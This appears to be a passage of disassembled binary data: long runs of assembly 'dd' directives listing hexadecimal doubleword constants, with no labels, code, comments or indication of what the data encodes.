dd 9D6BBAh, 454DB643h, 0CB8975A3h, 0DC00B071h, 32E2EF64h
dd 447324h, 7683927Dh, 55EE3EFEh, 6829AC00h, 59C7251Dh
dd 26E4B7h, 0F67AA8EAh, 0F8BE2C01h, 0CD707407h, 72439A99h
dd 0D4200027h, 4BA65791h, 8B26DA87h, 0F3E504Fh, 0AEE1DD5Ah
dd 0C5B5038Ah, 0C29F8054h, 0FBED002Dh, 0A1F047BAh, 9E1FFA21h
dd 761ECAE1h, 14D7BD40h, 600882BBh, 17026025h, 3B09B00Bh
dd 9EFC81Fh, 70B7806Ah, 0F54DE4h, 62C01ACBh, 81D247BDh
dd 3F3E3600h, 0B8EE12DBh, 3CB307A9h, 0E14EA180h, 805BCAE0h
dd 0D78C41D9h, 0E89D5574h, 83AF00BAh, 1DF5CAC4h, 29037268h
dd 0F71AD82Dh, 0B838006Ah, 3FDA4AE2h, 140034ACh, 0CAB9D53h
dd 39EF3E69h, 0E61D1F60h, 0D2C2C0E1h, 5BDC738Ch, 0FCB6ED00h
dd 6A5F5DD9h, 90180023h, 0B9043040h, 810E280Dh, 60E2DB60h
dd 0BE8FD9BFh, 0FA5900E9h, 2CD7016Bh, 0FF3A934Ah, 0BE70E2Bh
dd 0DA35C071h, 715D033h, 9C64B48Eh, 0F274A1F7h, 0D0C4C14Bh
dd 1600A759h, 29A8B9C3h, 7169D431h, 236826D8h, 0C07E0778h
dd 0AAFF4090h, 0DC006A08h, 7AE22ECDh, 7A131A39h, 234E0011h
dd 905DED8Eh, 0CAE8FC7Eh, 0A508FD00h, 0F1EC8C60h, 18E400E2h
dd 19922150h, 317B0FAFh, 146C7C00h, 99C2021Bh, 63BC1ED2h
dd 82CB4033h, 19DB960Bh, 7420F800h, 56C74D51h, 14D60E36h
dd 0DF806375h, 25285024h, 0DAED9600h, 0DB12E41Dh, 4AFC9Ah
dd 19C8776Ah, 0DE95C116h, 22A4AA00h, 0B8FF348Fh, 75420055h
dd 0F6DC4F7Fh, 40C0E006h, 9FEB7C31h, 403A0052h, 9AE456CDh
dd 9004ECEh, 2CC96327h, 19D2FEh, 1C4131F6h, 5F2985A3h
dd 3C1F7B00h, 4BB4D45Bh, 0B66E009Eh, 8583617Dh, 74009DE2h
dd 26EEF236h, 3240A2h, 710CB9A6h, 0DD32848h, 2D335701h
dd 149ABFB5h, 52A6D4h, 1BDCC8E1h, 302996CAh, 0A3FDD500h
dd 23AA8C98h, 2E3C0065h, 385142F2h, 760EDA7Ah, 0E0D693D3h
dd 0E51BE485h, 0BCB73B5Eh, 0D539CB06h, 0F000D0C8h, 0AD242EF1h
dd 37D122h, 432602B2h, 0B74E301h, 80CA7800h, 0CD28FBC3h
dd 38D903FDh, 0B2DE0D62h, 0D575D8B1h, 8953CC32h, 0EC06B400h
dd 2BD51AA1h, 0C07A00CFh
dd 3749D6B9h, 0E600E104h, 728099FCh, 0BC303Dh, 9740D1B7h
dd 36912131h, 1BC96400h, 734A8AA7h, 0BD50AD2h, 7020C47Ah
dd 8621FDAEh, 475C0074h, 3D84A923h, 1E1088C1h, 50809CD6h
dd 856DB72Dh, 0CBF82EDBh, 3671D00h, 6F43045h, 883F63CDh
dd 59D8BE8Ah, 3800E34Ah, 708D4C0Ch, 0E875D952h, 4420343h
dd 9E724BF4h, 0E0610C91h, 606028E9h, 0D7BBFAA0h, 3D700044h
dd 13A2501Eh, 3503DFFFh, 6588710Dh, 10280011h, 92577E3Ah
dd 0EA14DDC6h, 6A4DEE2h, 358BC2D4h, 0A2CB0058h, 745D53B0h
dd 0C10FFC4Dh, 0C74A8029h, 0E0001B02h, 51F6A91Ah, 8A60805Bh
dd 0E5090CA0h, 777856DFh, 2AC2D915h, 5EC08080h, 8D166046h
dd 0B1E8E087h, 0F072A6h, 0FC4FA529h, 0C089EB55h, 97167B07h
dd 0D7522E1Ah, 0E3E54086h, 0F946007Ah, 20D8D98h, 45F85B9Eh
dd 0C031C900h, 0E3D5D942h, 26F90575h, 82D7EA3Dh, 81F5D448h
dd 6A86DCB2h, 60DEB042h, 14A943DAh, 20463832h, 33B17EA0h
dd 30506E42h, 0CB270F0Dh, 91E2DED9h, 11409390h, 3D00B369h
dd 0AE120463h, 2DF988Fh, 669B37E6h, 0A2605A13h, 5004688h
dd 6D202CE1h, 0CAFF9Eh, 0F4F351E8h, 319895B5h, 4360A100h
dd 0A79B2363h, 0C030DE73h, 8B56ADF3h, 0B0032AA6h, 7853E95Dh
dd 364BD8D5h, 38EA16E8h, 0FB0E00FDh, 7E841109h, 54911400h
dd 0A6E5610Ah, 89C701CEh, 87E60263h, 0B8260E2h, 2A00A5FCh
dd 0DE8E7C70h, 0EC3CE8CEh, 16B900F6h, 845B0C89h, 860256C2h
dd 0DF69F0F5h, 61544017h, 9A740070h, 8AE514Ah, 0E000289h
dd 0B00F3039h, 3995A658h, 6FBE1DEBh, 803F9A00h, 0FC1EF29Bh
dd 74DB4A06h, 3B4839A0h, 0E000F78Fh, 6331DC15h, 3E005EF8h
dd 0B598DB9Fh, 3725F9Ch, 1D841C8Bh, 0B08961A0h, 0F7842018h
dd 0F3D1A500h, 6B820672h, 323C00AAh, 98140CD9h, 9B00C7ADh
dd 5E205ABBh, 0CADB54h, 58720393h, 0D395B9BFh, 485FAD07h
dd 4B21117Dh, 46203F88h, 0DDBE122Eh, 836F015Bh, 0C0ECCB34h
dd 6D006BD0h, 0ADA2353Ah, 0E445FFh, 1D743789h, 0F5BCFD9h
dd 26170800h, 66EDADBFh, 0C8840CFBh, 525005D5h, 9038838h
dd 80CFD8A4h, 0ED846636h, 0B6FB0032h, 35CE92BFh, 20005BE8h
dd 296FDA8Dh, 143B3Dh, 9B59051h, 16CDB763h, 8DF37302h
dd 0C006A1DDh, 1B30A35Bh, 0EB85BCEh, 9F244000h, 0D97B4EB5h
dd 0B19003EBh, 75CA86CFh, 0BE2044A0h, 509FFE00h, 0B8F4DDBDh
dd 0A790007Ah, 3DB189E7h, 34003B13h, 7C57D777h, 0D8035CCh
dd 8C0F989Ah, 1182FC60h, 0BB382D03h, 0D897B495h, 1CF3DC86h
dd 41192335h, 79E733DFh, 0DDFFF0E3h, 9854F7E2h, 367E0184h
dd 1DA53300h, 0E663FC81h, 0E5F80095h, 87288ABDh, 0AA4AEBB0h
dd 0A4DDC880h, 0C85A002Dh, 97239AA9h, 4A00B365h, 0BF10F46Dh
dd 0B8CB0Ah, 4B94E6D8h, 729B1EA1h, 0B0849754h, 0BA1B0B02h
dd 0C0053C0Ah, 1CDAB5BFh, 0E891625Ch, 73120084h, 0BBE3E97Dh
dd 0BC503969h, 60E659Ah, 0C0D702BDh, 35588E7Eh, 0F32C38B7h
dd 981D7218h, 8102E127h, 3F795716h, 0AD8AE0A0h, 0A811716Fh
dd 3D55E694h, 26029B59h, 0A73E5D81h, 2E904543h, 3500ADCAh
dd 23C2BB04h, 2C9795h, 81F61ED6h, 0FCC81B40h, 703E9800h
dd 339ACAA0h, 85AE000Eh, 2F926EABh, 0C600EAE3h, 3BEB7529h
dd 6194069h, 566BD4D5h, 4C2B18B1h, 0F604C6h, 58A0ADDEh
dd 744799AAh, 68013E00h, 0B1777053h, 0B89539D5h, 0C64F1Fh
dd 2AD26086h, 0F2F65540h, 43574E1Ch, 3D463E82h, 2934B428h
dd 584C283Bh, 183E8438h, 72D500A9h, 0E95CAC46h, 0EA660043h
dd 590A6B16h, 0B2805BBh, 0D6080C99h, 25B0218h, 95DA46D1h
dd 8159A202h, 0E7ABB118h, 3E189A12h, 19E8620Ch, 188058EEh
dd 9481A8FCh, 61735280h, 0EB4E190Bh, 4C461082h, 7449CA01h
dd 0C4A9530h, 54529114h, 2450F63Ch, 0DE0CA98Dh, 0A0AA4852h
dd 0B088224h, 130A8F59h, 283F18A5h, 78112417h, 0A87DE6EEh
dd 0A19F5D48h, 0C517E18h, 30419B14h, 0DD0824BAh, 0E0C9650h
dd 26141B42h, 0F284B447h, 1999004Ch, 0F73738D8h, 40714F01h
dd 3991FC0Ch, 0C08F7388h, 0F8049F48h, 324CF01h, 0A380001Dh
dd 0C21845F0h, 577E9Ch, 0E965E7E2h, 26FF40ECh, 94470800h
dd 2F41E169h, 6C6A0110h, 0BB758346h, 6224204Ah, 218CBF0Ch
dd 1445A07Fh, 8C1A3C4Ch, 184AD62Ch, 0D3E31849h, 21C2EE00h
dd 0E6673FB4h, 0F16B0A80h, 3501DADh, 19CD3796h, 68CBF680h
dd 0ABAF4C00h, 827E001h, 90121E20h, 0DC554140h, 0D25BBE7Eh
dd 0F083B6E2h, 94AC4B9Ah, 111C7C8Ch, 5148D38h, 6722B624h
dd 4FABE440h, 6DD8BFAh, 9269B056h, 9C07508Dh, 0F2A2A47Bh
dd 1565AB90h, 96080009h, 5CE32DFCh, 0AF01B157h, 0A4195378h
dd 64854FC2h, 0F442F15h, 0BF0154C8h, 20CFFA69h, 7601AABCh
dd 6373088Ah, 14411C5Eh, 0A2CC7F26h, 0AC112850h, 53F90534h
dd 0EF1C33E6h, 0C88F8CC3h, 507DE5EEh, 3DD0C071h, 6700816Dh
dd 7AEBB44Ch, 0F3001BE6h, 80E41607h, 3A52FA83h, 0A08CA68Eh
dd 77B89A54h, 7E007048h, 499CA100h, 0E7E7527h, 0CCE600C1h
dd 345462FEh, 8130E5C3h, 1B3B684Fh, 0CDCA01B8h, 7526E3D1h
dd 0C71C3016h, 0D17B8330h, 0A855FD5h, 13CFAC6Bh, 44FDE040h
dd 9C00F099h, 0FF5798E1h, 54B4CCh, 1A7A69DDh, 8784DA32h
dd 701BE300h, 7CF2B9A2h, 764E069Ch, 0A8455A73h, 0E756C41Eh
dd 20844C1Eh, 0F0C065B9h, 186BD8E5h, 18FFE1B0h, 847C3F15h
dd 0F2B62B00h, 0C9F7DBD0h, 4E3E0BA3h, 0C10E1C6h, 47F8F92Bh
dd 168A548h, 7B05F479h, 0EAD0BF6Dh, 0E194A8ABh, 8468D1C2h
dd 76C3A281h, 805ED58Dh, 81044C98h, 97FD207h, 2D6DAC24h
dd 0F036B427h, 0F3BDFAA3h, 66689E62h, 277C4415h, 0DBFE35BBh
dd 6F009516h, 52CC800Ch, 0EB904C8h, 8194848Eh, 51CBCA48h
dd 20878388h, 0DF01C948h, 3EBFFC28h, 0F092206Dh, 40521BE5h
dd 8AEC60E7h, 13021587h, 0AC7D9E71h, 8B544027h, 1E4C9060h
dd 3E0C452Ah, 4F55E001h, 87CA1850h, 3AF4738Eh, 0B543863Eh
dd 9E7E0078h, 5232235Bh, 5700642Ah, 5F5AE1B2h, 5268AFA1h
dd 1B18D8AAh, 0ABEEA074h, 70934D26h, 0F50308A4h, 0E8959BDEh
dd 12C97DE1h, 0F14FBD5h, 0BA8F8F74h, 9400712Bh, 0B1559F21h
dd 801B7901h, 9CA2EBDCh, 0B8EDDF40h, 0E0AF029Ah, 1617322Ch
dd 30305362h, 2842CA1Fh, 1E865785h, 100384E8h, 0C5A40156h
dd 70836689h, 30D0DDDCh, 0D600307Dh, 878C1BF2h, 7F055F02h
dd 373E24B9h, 0E72088h, 1FE5ED15h, 5AD8AACDh, 2645ECE9h
dd 0C571D4h, 0C5F122DEh, 59DD7E6h, 0A5DA05A4h, 23C09024h
dd 0B9300BDCh, 426D504Ah, 68F90144h, 0A23E92EEh, 335ED5F7h
dd 96D61C24h, 4D3D0940h, 407024h, 0CD55E3C1h, 0FC300ED3h
dd 99E2B003h, 98CE59A5h, 136D5014h, 383E8D83h, 517D2A8Ch
dd 0E8EB3689h, 4991E2BDh, 41C0504Fh, 0FB6D5867h, 585D7926h
dd 0C3B7F860h, 0A79B1ED8h, 0A0FCC082h, 2B9EBB67h, 574DB302h
dd 484BE03Dh, 0E038CFC4h, 623900C4h, 0CEFA9379h, 9F05F6BCh
dd 706DC2C0h, 3CC8488Dh, 505500A0h, 18D74652h, 4B8DE0Bh
dd 0FDB41F1Bh, 0AED00650h, 0B04E3F87h, 6472D681h, 0ED2C5124h
dd 0F6876045h, 711090FAh, 5DAB19h, 8D86D49Ch, 566D9A95h
dd 1C43D800h, 4A2F5928h, 2F6007Fh, 9AA20F85h, 0F400E165h
dd 0E448557Ch, 0EE357484h
dd 46B6063Ch, 304BE701h, 58899A7Dh, 596230h, 4EE85D8Dh
dd 922EFC22h, 185A58D4h, 32280629h, 3F0EFCB1h, 6CB9B516h
dd 8FCC7100h, 0F12B85F2h, 41B2D4E1h, 0D0FB5E1Fh, 0BDF34031h
dd 9A9D98F7h, 3D807825h, 74B4F215h, 0CD080461h, 26B8308Fh
dd 2FA0046h, 49AAB7B0h, 0E1E8BF07h, 0D9A29065h, 1F4A15C1h
dd 722A43C4h, 0F827905h, 0A8A241C5h, 8D664BA0h, 0CE00379Ah
dd 890FA77Fh, 0D1CB7179h, 28000469h, 8A20C112h, 0C27C493Ch
dd 0E5504005h, 0A0004D94h, 5D1468FEh, 0BF2001C7h, 2130A964h
dd 70C082B2h, 81EF72BBh, 6C829A8Ch, 0C94530h, 0F219DF60h
dd 0C1489B88h, 13FEAE00h, 0FBFDAD5Fh, 43D903A0h, 0C6C34EFAh
dd 46F98801h, 9E2D048Ah, 7620C850h, 405D07AAh, 0D8A066C0h
dd 20F9C68Fh, 261C5ACDh, 338EF4E0h, 0E23831C8h, 0C180C5D8h
dd 86CB7D00h, 6855BC37h, 1DD3304Dh, 49831251h, 82012BB0h
dd 0C278F99Bh, 0C0D7535Eh, 0A968F47h, 0FEF64AA7h, 30D214B6h
dd 0B1CA9D86h, 48A02EFEh, 171F9C37h, 2A8EC746h, 20FCA948h
dd 78E31E2Ch, 42D41838h, 0E943898h, 0A0BADD37h, 80275285h
dd 8A111850h, 43F0005Dh, 3E41CD5Fh, 821F40C9h, 9109A98Ch
dd 0CB5C0007h, 0A358B0h, 0B2EA7AD3h, 0AE8462E6h, 4D923100h
dd 24DB2C43h, 60740952h, 2C8A7E07h, 202B003Ch, 0D2AE9890h
dd 46B55A00h, 0FFC139E4h, 28358091h, 81ADAA02h, 8018AF83h
dd 7A5DA4C3h, 714C1EF6h, 0CE664194h, 0F0A5D1E3h, 3F070CE9h
dd 0D8916180h, 341F9CC5h, 0AEC49000h, 44023DB2h, 2F40A248h
dd 798800D9h, 3523C79Fh, 0C8C0DB70h, 5F3D602Ah, 94274990h
dd 6E159A4Ch, 8600B456h, 8DEB2481h, 0E5004127h, 0D0237267h
dd 7394CBF7h, 0A4CF50A7h, 87201E1Fh, 0BAE34073h, 6621C48Dh
dd 0AADA9512h, 3FB6FC00h, 0F3DEDC5h, 21E7BB2h, 0AFE848CCh
dd 0CB546071h, 9075EF64h, 54997C14h, 80FBC898h, 0CD900F24h
dd 0E006C42h, 0B0FAFE19h, 39F539DFh, 0D61B6BA4h, 681259AAh
dd 6840E545h, 970426C7h, 0F9BE28BBh, 71520E96h, 0E6437C15h
dd 6D0633Dh, 0B3F41D45h, 368D9300h, 0A426E82Eh, 949028h
dd 669D434Fh, 0EA0A808h, 272ABF00h, 0DF89F7Fh, 874D00ADh
dd 934A891Ch, 0D80143E9h, 0B0B384F3h, 9DE51660h, 1F42FCCh
dd 0F59A25EBh, 0CC280CE0h, 75059BB8h, 0B657973Eh, 3107D480h
dd 9308006Bh, 0DD44F480h, 0B205F6E4h, 0B19ECF12h, 86FA0440h
dd 0D1F3A742h, 0A1BD0C20h, 93E03009h, 3C4EC019h, 0A9F558Bh
dd 14C70017h, 789C8998h, 19460830h, 890FF53Ah, 11940079h
dd 9EE50185h, 0AAA104B0h, 106EE538h, 4015EEADh, 0D103106h
dd 50788196h, 22FC189Dh, 9545E33h, 0C6220824h, 183D546Dh
dd 0CC151A7h, 256E18F6h, 0F35924A0h, 502DB144h, 0A9CD0C34h
dd 0C502C18h, 88B30D41h, 20842FBBh, 4503FB95h, 0B60EAE31h
dd 868BB8BFh, 856EEFEh, 3D240CEBh, 1DDB803Eh, 0DE327EF9h
dd 0C60A5C9Eh, 3D19C000h, 4CFE9A07h, 1AC95A01h, 22B33F54h
dd 80483980h, 13104A78h, 0AD4B6600h, 0B7BBF184h, 93C10755h
dd 0C0736156h, 0BAAB99C9h, 9E506477h, 6D0065C5h, 0FA03F6B9h
dd 6A230h, 29F13E2h, 8EBF3949h, 2F7EBE01h, 1FC23583h, 0A49D26D0h
dd 73D43A4Ch, 5E881030h, 0C3586431h, 394A0E6Fh, 0B434C5h
dd 269FFD13h, 2CBC91h, 0DE25D21Ch, 20648C56h, 5F338B00h
dd 0D4E6874Ch, 2F702Bh, 8845694Eh, 0A9C9BA86h, 81C8256h
dd 70342EEEh, 4500F4FBh, 83F5B140h, 5047A77Dh, 1530C1EDh
dd 0C0BAA120h, 2315B9F0h, 84F2DE00h, 0ED220709h, 6045FACDh
dd 4E432919h, 0AF006968h, 5F21BEFh, 78F3B1h, 7B81C632h
dd 9FC8469Eh, 5C36EB29h, 0D6EAD580h, 7AA60Ch, 4BD9594Ah
dd 4D64AE0Bh, 893D6F03h, 0B849CA16h, 7FC2F3BEh, 5D1B0713h
dd 0A0063A08h, 1879EA38h, 0E4AD88C0h, 0D5EC0E81h, 840010D2h
dd 4AB7777Dh, 254028BEh, 0DA091029h, 7060AB9h, 0F20588CBh
dd 583A3A78h, 0DD29FA08h, 804C87D4h, 0D21A5C1Bh, 20EC27C3h
dd 0E1D7E900h, 54182E29h, 99C0000Eh, 0EFA1F006h, 25FA2266h
dd 3C48C2F7h, 0E10215B3h, 0FBCF3C1Ah, 99CC8006h, 380BD979h
dd 0AD9F19A6h, 0D78E804Ah, 0B3268429h, 3165CE09h, 3741034h
dd 8240873Dh, 5FBAD1h, 58E8433Fh, 0CAE4C964h, 782C7FEEh
dd 60806202h, 6112B3AEh, 40C01B1Dh, 8AE04154h, 3C0CFE14h
dd 3076B4B9h, 0E08E5C86h, 0E8087D0Ah, 0ACC41480h, 0CDB100AFh
dd 86FE1730h, 0B5F909F3h, 9416311Dh, 0A2966C12h, 0E331D470h
dd 4466578Eh, 503682F7h, 0D7AAE480h, 0B102A16Dh, 1595E20Dh
dd 0EC344ED1h, 3D57BF7h, 0A270DBFCh, 96016179h, 627BAC9Eh
dd 0E8233F78h, 0DC34E9A7h, 14436D00h, 8D0FF921h, 0C7660254h
dd 92164ADCh, 8D098494h, 5E95172h, 0A000AE20h, 21971629h
dd 81BD0022h, 0C6B42499h, 1901BB0Ah, 51EE2B42h, 9047ECC0h
dd 0DA413F17h, 0B3EC7796h, 1984A061h, 78AD1D41h, 997440B6h
dd 20828756h, 270D391Dh, 0D085D68Ah, 89ACB340h, 80404C07h
dd 0D0F0CF09h, 0DEE26415h, 86C13h, 2F0A857Bh, 1ED257C0h
dd 396D791Eh, 106B54C0h, 9A27ADFh, 911544B9h, 0C9C00C15h
dd 2596D88h, 3C82A876h, 448D8CDh, 7900721Ah, 4BAC0B96h
dd 52AE055Ch, 0A3ACFC40h, 51AD1A00h, 949B99Eh, 0F4C254A8h
dd 0D9F833h, 11AE998Eh, 785C666Fh, 0AD0280ACh, 87E9F4F5h
dd 0E128CDACh, 6325BDA1h, 90D1E8h, 0A57FE902h, 98248DEFh
dd 0CA710774h, 47E5F954h, 6907AFC3h, 229C834Ah, 53C8211Eh
dd 11217B0Ch, 0CB541B31h, 99C0615Ah, 0A163CA5Bh, 95EB5E51h
dd 0C87B1C82h, 0C31CFCh, 351666Dh, 8E2F0617h, 0CB70D800h
dd 0B3535682h, 0EE0CB8CDh, 58734C0Ah, 6828500Bh, 0BFF91C81h
dd 6062D53Ch, 1C90DA94h, 4C5A4C5h, 14C9C09h, 32D930Ch
dd 8AAA8440h, 28550026h, 109A10Ch, 94019C15h, 3F3CB92Fh
dd 24327Fh, 44B30CE1h, 68E96310h, 0E4071C00h, 0DCC1428Ah
dd 810F00CDh, 9A24F56h, 96785932h, 2950E4A0h, 0B726B40Ah
dd 4509B0BFh, 4890302Fh, 0CC27518Fh, 0CC385BCCh, 53E61C98h
dd 98758C00h, 32C1E146h, 6D7F8DCh, 0B81B1570h, 970050B4h
dd 22F3FAE2h, 3FF28D69h, 8C8F2E8Fh, 0D3E02FFBh, 8A96B067h
dd 0BA7C1D1Eh, 75A11640h, 18EDD68Fh, 0D04E285Dh, 9B6AD91Eh
dd 85200020h, 651E3079h, 4D819AE1h, 6BE5E485h, 0F4A0FED7h
dd 0FC0F0050h, 0B894568Fh, 0F5052E8Dh, 1F0DA145h, 0EB6A9000h
dd 7514A7Eh, 43F13766h, 6E692726h, 0FE90F280h, 5507D516h
dd 52CC0673h, 1B8C204Fh, 4FA792h, 850302A6h, 0F9B63CD0h
dd 28800E24h, 0DAB46080h, 8B8E9Fh, 587B28C7h, 9D9DFF6h
dd 43EB9100h, 2442779Eh, 0D2A8001Fh, 4876C92Fh, 0AAE696FCh
dd 88E53000h, 18E8970Ah, 939C00E3h, 8AEDAB03h, 59001F2Bh
dd 9885CA40h, 4DC4509Eh, 95009096h, 8874C105h, 21006F3Dh
dd 0E7505804h, 0A163B44h, 116987F8h, 9B4F7004h, 3DB3AA00h
dd 6C44B788h, 70970055h, 159492BCh, 99024279h, 6787F6DAh
dd 127D404Bh, 956000A0h, 70B0E0BBh, 90003D79h, 0CDCE8E22h
dd 0A905B7h, 6A2D96B3h, 451358E3h, 0C0185378h, 8579EC5Dh
dd 1EE9021Dh, 0C6D983F0h, 0A6FD8040h, 20BAB330h, 913A58h
dd 0B7F0BC6Ah, 3F42E055h, 4F609BE8h, 0E607F2D8h, 8CED0052h
dd 8F47A221h
dd 0DD36B3CCh, 3C70C8D9h, 285050E2h, 40E438E3h, 528DBC08h
dd 19AAA42h, 0DC7DC3BBh, 0FFE9221h, 0A31AF500h, 2F74E5B9h
dd 2CCF0D36h, 7AD8CE04h, 549F0B80h, 0C98CA0E9h, 8BF0071h
dd 93BB2373h, 260C6CB6h, 20DF7ED1h, 0BCC50054h, 62D9D8F2h
dd 2E01056Eh, 0FE69C26Fh, 0A0DF3D0Dh, 68FCA8h, 0A11CCDCBh
dd 7DB929D4h, 8F007E79h, 74DBD68Eh, 39E44515h, 0F6809434h
dd 32C63CF1h, 4C55AF07h, 7036E4E8h, 2271E812h, 9F20EBFh
dd 40284A9h, 210062E7h, 30C1688Fh, 23185738h, 8B00FDA5h
dd 0AF27B903h, 17553E7Fh, 34CF686h, 0DB76653Eh, 0A99AD1E8h
dd 706C061Eh, 4137230Ch, 0C71F0067h, 0EF885BAEh, 6D06CD91h
dd 8DD6F480h, 0FD950020h, 0BE410BC7h, 420E4506h, 0CE991B70h
dd 0E9D4F413h, 649F30EAh, 0EF704C00h, 2A6F076Ch, 1E0900AAh
dd 0C74A8F6Bh, 4C016144h, 0EDBA03CBh, 344B4957h, 304C5C84h
dd 3A76DF1Ch, 4A802027h, 0EECB6CC6h, 0A500095Eh, 645164Eh
dd 165E039h, 0A8B41502h, 0FC9E3292h, 0B02C969h, 0EAC723B8h
dd 0E47041C1h, 0F0994048h, 363D0842h, 9D465540h, 7C62E8E9h
dd 863800E4h, 75E7E599h, 124CF51h, 0F280E0BFh, 8BB04048h
dd 0DBCA0094h, 0D87E5F47h, 80DF3B43h, 2A142870h, 0AFA7008Bh
dd 214C8F1Eh, 0CF0239EBh, 253FFFDBh, 0F11C41F9h, 310F5E4h
dd 0AF9D2BB0h, 5808E78h, 50C0E4B1h, 5BF6F0F7h, 627D0EA3h
dd 3E824796h, 8842B416h, 31D27741h, 86393038h, 31A8BF1Dh
dd 9EC31500h, 0AFC779h, 47BB56A2h, 0B501B846h, 0FC840624h
dd 1845AB09h, 410FBA4h, 0ECB37670h, 999F20DAh, 15F24Ah
dd 0E3C53F6Bh, 554FDEC1h, 480E3C03h, 0A8D6E676h, 2482446Ah
dd 809C71D5h, 73459F4Ch, 60C1C7A0h, 41816C37h, 9CA23850h
dd 0F8A72498h, 40DC2970h, 17B23629h, 0FC93D400h, 0CD3DE274h
dd 0C07050ABh, 54D60E37h, 1AE34B59h, 190E90C1h, 73BBBA9Ah
dd 79CFA000h, 0EF9C501h, 29F2A369h, 468389B8h, 1C3C0586h
dd 0C4AB77C1h, 441F02h, 12F3814Ah, 0A2030BBAh, 0AD71F9FDh
dd 0E003D237h, 0E20520Ch, 0E6D2B8CFh, 0A62C94E0h, 2200764Fh
dd 8A7C8DA4h, 0F03F4E02h, 0FDB801BDh, 0E365DBD4h, 81FC4826h
dd 0A9DAF61Fh, 40B86F08h, 3B4B35A0h, 185F8900h, 334F92DAh
dd 63D201C5h, 0FF3F49E4h, 3C40EE46h, 24914110h, 11F77080h
dd 8671E3B0h, 0D9EF20h, 0DBF59F48h, 133F58FDh, 0F9360907h
dd 0A019E22Dh, 511D8270h, 8FD43D70h, 5FB8EF92h, 0ECCD07E0h
dd 68900059h, 651E7609h, 28C5C87Eh, 981F16E8h, 96C74907h
dd 1F5F9471h, 4CBFA2E0h, 0D68F5439h, 5EE24CABh, 98205446h
dd 7840003Bh, 69E15F38h, 0C800FF93h, 0DBD19AD0h, 0F17B4A8Ch
dd 8850E821h, 9CD8516h, 900125A4h, 5CCF6400h, 0A880DF4Eh
dd 3C9D0003h, 0CC449BFh, 7E06C706h, 0BB9FE288h, 0C8B401D1h
dd 8F2BDEB8h, 7555C494h, 0F0883A67h, 0FB49E241h, 3AFC1E0h
dd 36CD5DDEh, 0EBF0D172h, 882648B7h, 88124AEh, 8ECA1DE3h
dd 4DA4A06Eh, 798C5001h, 2FA3E092h, 1034A1D9h, 0D4A853F3h
dd 4DE4030Fh, 15D0CB2Ah, 7510D479h, 534B00D5h, 0D8A43718h
dd 1D2C2C31h, 0FE8E02D4h, 0B060EDFDh, 200AC802h, 88AC6087h
dd 0B54D4E09h, 0F2DA80E4h, 308F670Eh, 93397400h, 54C522C7h
dd 284A6077h, 6BFFCD59h, 0E9974600h, 0B4D0E834h, 1DB70E41h
dd 0FB02EDC0h, 5D00FE68h, 32DB582h, 31ABD293h, 0BFC0CF64h
dd 38B33830h, 0D6C424h, 0D5350CCEh, 5E188288h, 0D11CC605h
dd 98405B3Bh, 97F6FA92h, 75941E2Fh, 9CE6C01Fh, 0FFBEB728h
dd 7C6D040Fh, 29CCC031h, 4BB02D8h, 0C5151F55h, 247740A6h
dd 4804F2DBh, 53006484h, 0BB2226E1h, 0C0BAAB7Ch, 3256C914h
dd 93007DE2h, 4E57F45Dh, 9A94EAA9h, 65C482FCh, 8051EF34h
dd 0F80B96FBh, 0AA26004Bh, 2D8670BBh, 280C7667h, 617F1340h
dd 71EBE412h, 7A01F71h, 7E0F02E7h, 0B484C060h, 1F608083h
dd 0C37AD362h, 78B3CB24h, 7B27AE40h, 0B9151292h, 0A81E88h
dd 0CDD0F56Eh, 610BA1F9h, 35CF8EFEh, 55588008h, 0F8EB1C28h
dd 0EF014FE2h, 0FC291B67h, 0F84EF185h, 304F8984h, 79F635C3h
dd 3DC40017h, 68521B53h, 82EC2944h, 0B4182CB1h, 252B62A9h
dd 6C20B075h, 0BFE4493Dh, 5659CE0Bh, 8FEC88ECh, 57009513h
dd 0A51171B4h, 580B14ACh, 14024CDAh, 0E21819E5h, 48C432h
dd 62E63DB8h, 218FFBDEh, 92442D06h, 397972ACh, 7B9D3859h
dd 0D7D3803Dh, 0F18627CBh, 2CFDD426h, 0E9898780h, 45764Eh
dd 7EC3C2C0h, 706A9ECAh, 0ACA35205h, 94305778h, 8D56C35h
dd 561E1D8Eh, 9C1842h, 0A4E47289h, 6E234400h, 0F662C7FEh
dd 4C9700CAh, 3ED449C2h, 9E00E046h, 0B4A6C4F9h, 130168FCh
dd 415AB776h, 54C7D5C8h, 0F55C3027h, 0E03AC899h, 390B47B1h
dd 5FE80068h, 5885774Dh, 0B8FA767Dh, 11568F02h, 600EA2B1h
dd 2276F9Fh, 6E6757Eh, 4E0C8E0h, 1A4C58CDh, 9E6805D0h
dd 0D8C03FEAh, 48942661h, 59089411h, 9E40B3A2h, 10162FF5h
dd 84523D12h, 0C6004F96h, 9F349377h, 5D73A900h, 9EBBD322h
dd 0BA4D7B42h, 852009F8h, 0D0428CBEh, 0DBD7B440h, 80B86A59h
dd 0AA77F756h, 0BC064C73h, 0E6DF904Dh, 0BFEA00BCh, 11091E0Fh
dd 30A2FC1Eh, 0E572B680h, 2CF2DE45h, 493C1FE0h, 6098010Ah
dd 0A83ABCC7h, 0BD423DFCh, 6D69A980h, 0AE00757Fh, 0BA08CA21h
dd 0EDEB4CCh, 0FCAC54E6h, 4AE157C2h, 2500F0C4h, 3275138Ah
dd 2864F2h, 0F96F1234h, 2D03421Eh, 80A7D03Eh, 80E071CAh
dd 0F04B73h, 6E3548B4h, 1B039D6Fh, 0E9980A01h, 4C9CCFCBh
dd 1CEDAF8h, 0E9669FEh, 0D6189ECDh, 0A64F407Fh, 29D5029Bh
dd 87DEDBCBh, 88A039C3h, 0E57425CEh, 1E3E0200h, 7D3F552Bh
dd 81F8D7h, 1BFAD377h, 0BA4591D1h, 0C8246E00h, 0E89DE337h
dd 2BF53C41h, 49F1EA00h, 0C1FFA629h, 9F35C700h, 0AE3794F0h
dd 24EE0A88h, 8020927Eh, 4A48E52Fh, 0C550E0CAh, 3D53B418h
dd 8586F34h, 14D4E04Bh, 2E198AF9h, 2408077Fh, 60821C4Dh
dd 0B6FBF808h, 0E6B5F418h, 1560E2FAh, 4CEB2BC6h, 50A97099h
dd 2B1D5864h, 33B71501h, 32F95A78h, 403808A1h, 0E0D56118h
dd 35391F83h, 0A68ABE6h, 60308251h, 29133255h, 0DAB58B2Ch
dd 0EFC36E02h, 149C9ED5h, 34CB03D8h, 0D8A37586h, 80053A15h
dd 8A298268h, 209531B4h, 0BB15ADBDh, 8264E491h, 30CA4738h
